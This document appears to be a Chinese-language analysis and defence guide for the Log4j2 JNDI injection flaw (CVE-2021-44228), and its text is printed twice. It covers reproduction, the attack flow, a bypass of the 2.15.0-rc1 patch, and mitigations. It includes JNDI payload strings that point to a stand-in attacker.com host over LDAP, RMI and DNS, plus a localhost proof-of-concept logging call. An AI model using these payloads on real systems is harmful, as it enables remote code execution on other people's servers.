Log4j2漏洞复现-原理-补丁绕过
字数 1909 2025-08-12 11:34:29

Log4j2漏洞分析与防护指南

1. 漏洞概述

Log4j2漏洞(CVE-2021-44228)是一个严重的安全漏洞,它允许攻击者通过构造特定的日志消息实现远程代码执行(RCE)。该漏洞存在于Apache Log4j2库中,影响版本为2.0-beta9至2.14.1。

漏洞本质

Log4j2默认支持解析LDAP/RMI协议,当打印的日志中包含这些协议时,会通过名称从LDAP服务端获取对应的Class文件,并使用ClassLoader在本地加载返回的Class类。这为攻击者提供了攻击途径。

2. 漏洞复现

环境准备

  • JDK版本:8u202(特定情况下需要)
  • Maven项目
  • 添加Log4j2依赖

复现步骤

  1. 搭建一个包含Log4j2的Maven项目
  2. 添加必要的依赖项
  3. 构造PoC(Proof of Concept)代码
// 示例PoC代码
logger.error("${jndi:ldap://localhost:9999/Test}");
  1. 启动LDAP服务端监听9999端口
  2. 当该日志被记录时,会触发恶意Class的加载执行

攻击方式

攻击者可以在用户输入界面传入包含恶意内容的LDAP协议内容,如:

${jndi:ldap://attacker.com:9999/Exploit}

当该内容传递到后端被log4j2打印出来,就会触发漏洞。

3. 漏洞原理

关键点分析

  1. JNDI注入:漏洞的核心是Java命名和目录接口(JNDI)的注入
  2. Lookup功能:漏洞最终触发点在lookup上,通过lookup发起请求
  3. 用户可控输入:jndiName(日志记录内容)是用户可控的

攻击流程

  1. 攻击者构造包含JNDI lookup的恶意字符串
  2. 应用程序记录该字符串到日志
  3. Log4j2解析日志时执行JNDI lookup
  4. 从攻击者控制的LDAP/RMI服务器下载恶意类
  5. 恶意类在受害者服务器上执行任意代码

4. 补丁分析与绕过

初始补丁分析(log4j-2.15.0-rc1)

  1. 白名单校验

    • 对scheme和host做了白名单校验
    • 默认白名单为空,需要手动配置
    • 未配置时无法绕过
  2. Lookup功能限制

    • 老版本lookup默认开启
    • 新版本lookup默认关闭,需手动配置
    • 添加了withoutLookupOptions方法进行限制

补丁绕过方法

  1. URL语法错误利用

    • 利用URL语法错误报错将错误语句注入到log
    • 导致payload解析,触发漏洞
    • 原补丁未在catch块中添加return null语句
  2. 修复方式

    • 在catch块中添加return null语句
    • 直接跳出,不再执行后续代码

防护有效性

  • 默认配置是安全的(无配置文件)
  • 需要用户手动创建配置文件
  • 只要配置不出现问题,基本可以防护

5. 防护措施

紧急缓解方案

  1. 升级到最新版本(2.15.0及以上)
  2. 临时解决方案:
    • 设置系统属性:log4j2.formatMsgNoLookups=true
    • 移除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

长期防护策略

  1. 输入验证

    • 对所有用户输入进行严格验证
    • 过滤包含"${"的输入
  2. 安全配置

    • 限制日志记录的内容
    • 禁用不必要的日志功能
  3. 网络防护

    • 限制出站连接
    • 防火墙规则阻止到LDAP/RMI端口的出站连接
  4. 监控与检测

    • 监控日志中的可疑JNDI lookup尝试
    • 部署入侵检测系统(IDS)规则

6. 技术细节

JNDI注入机制

  1. 协议支持

    • LDAP (Lightweight Directory Access Protocol)
    • RMI (Remote Method Invocation)
    • DNS (Domain Name System)
  2. 攻击向量

    ${jndi:ldap://attacker.com/Exploit}
    ${jndi:rmi://attacker.com/Exploit}
    ${jndi:dns://attacker.com/Exploit}
    

类加载过程

  1. 解析JNDI lookup字符串
  2. 连接到指定的LDAP/RMI服务器
  3. 下载恶意Class文件
  4. 使用ClassLoader加载并执行

7. 影响范围

受影响版本

  • Log4j2 2.0-beta9 到 2.14.1

受影响应用

  • 任何使用受影响Log4j2版本记录用户输入的Java应用
  • 包括但不限于:
    • Web应用程序
    • 企业级应用
    • 云服务
    • 嵌入式系统

8. 参考资源

  1. Apache Log4j2官方安全公告
  2. CVE-2021-44228详细描述
  3. 各大安全厂商(如360)的分析报告
  4. Fastjson相关利用技术参考

9. 总结

Log4j2漏洞是一个极其严重的远程代码执行漏洞,影响范围广泛。理解其原理和利用方式对于有效防护至关重要。通过升级到安全版本、实施严格的输入验证和配置适当的网络防护措施,可以显著降低被攻击的风险。安全团队应持续关注相关补丁和新的绕过技术,确保防护措施始终有效。

Log4j2漏洞分析与防护指南 1. 漏洞概述 Log4j2漏洞(CVE-2021-44228)是一个严重的安全漏洞,它允许攻击者通过构造特定的日志消息实现远程代码执行(RCE)。该漏洞存在于Apache Log4j2库中,影响版本为2.0-beta9至2.14.1。 漏洞本质 Log4j2默认支持解析LDAP/RMI协议,当打印的日志中包含这些协议时,会通过名称从LDAP服务端获取对应的Class文件,并使用ClassLoader在本地加载返回的Class类。这为攻击者提供了攻击途径。 2. 漏洞复现 环境准备 JDK版本:8u202(特定情况下需要) Maven项目 添加Log4j2依赖 复现步骤 搭建一个包含Log4j2的Maven项目 添加必要的依赖项 构造PoC(Proof of Concept)代码 启动LDAP服务端监听9999端口 当该日志被记录时,会触发恶意Class的加载执行 攻击方式 攻击者可以在用户输入界面传入包含恶意内容的LDAP协议内容,如: 当该内容传递到后端被log4j2打印出来,就会触发漏洞。 3. 漏洞原理 关键点分析 JNDI注入 :漏洞的核心是Java命名和目录接口(JNDI)的注入 Lookup功能 :漏洞最终触发点在lookup上,通过lookup发起请求 用户可控输入 :jndiName(日志记录内容)是用户可控的 攻击流程 攻击者构造包含JNDI lookup的恶意字符串 应用程序记录该字符串到日志 Log4j2解析日志时执行JNDI lookup 从攻击者控制的LDAP/RMI服务器下载恶意类 恶意类在受害者服务器上执行任意代码 4. 补丁分析与绕过 初始补丁分析(log4j-2.15.0-rc1) 白名单校验 : 对scheme和host做了白名单校验 默认白名单为空,需要手动配置 未配置时无法绕过 Lookup功能限制 : 老版本lookup默认开启 新版本lookup默认关闭,需手动配置 添加了withoutLookupOptions方法进行限制 补丁绕过方法 URL语法错误利用 : 利用URL语法错误报错将错误语句注入到log 导致payload解析,触发漏洞 原补丁未在catch块中添加return null语句 修复方式 : 在catch块中添加return null语句 直接跳出,不再执行后续代码 防护有效性 默认配置是安全的(无配置文件) 需要用户手动创建配置文件 只要配置不出现问题,基本可以防护 5. 防护措施 紧急缓解方案 升级到最新版本(2.15.0及以上) 临时解决方案: 设置系统属性: log4j2.formatMsgNoLookups=true 移除JndiLookup类: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 长期防护策略 输入验证 : 对所有用户输入进行严格验证 过滤包含"${"的输入 安全配置 : 限制日志记录的内容 禁用不必要的日志功能 网络防护 : 限制出站连接 防火墙规则阻止到LDAP/RMI端口的出站连接 监控与检测 : 监控日志中的可疑JNDI lookup尝试 部署入侵检测系统(IDS)规则 6. 技术细节 JNDI注入机制 协议支持 : LDAP (Lightweight Directory Access Protocol) RMI (Remote Method Invocation) DNS (Domain Name System) 攻击向量 : 类加载过程 解析JNDI lookup字符串 连接到指定的LDAP/RMI服务器 下载恶意Class文件 使用ClassLoader加载并执行 7. 影响范围 受影响版本 Log4j2 2.0-beta9 到 2.14.1 受影响应用 任何使用受影响Log4j2版本记录用户输入的Java应用 包括但不限于: Web应用程序 企业级应用 云服务 嵌入式系统 8. 参考资源 Apache Log4j2官方安全公告 CVE-2021-44228详细描述 各大安全厂商(如360)的分析报告 Fastjson相关利用技术参考 9. 总结 Log4j2漏洞是一个极其严重的远程代码执行漏洞,影响范围广泛。理解其原理和利用方式对于有效防护至关重要。通过升级到安全版本、实施严格的输入验证和配置适当的网络防护措施,可以显著降低被攻击的风险。安全团队应持续关注相关补丁和新的绕过技术,确保防护措施始终有效。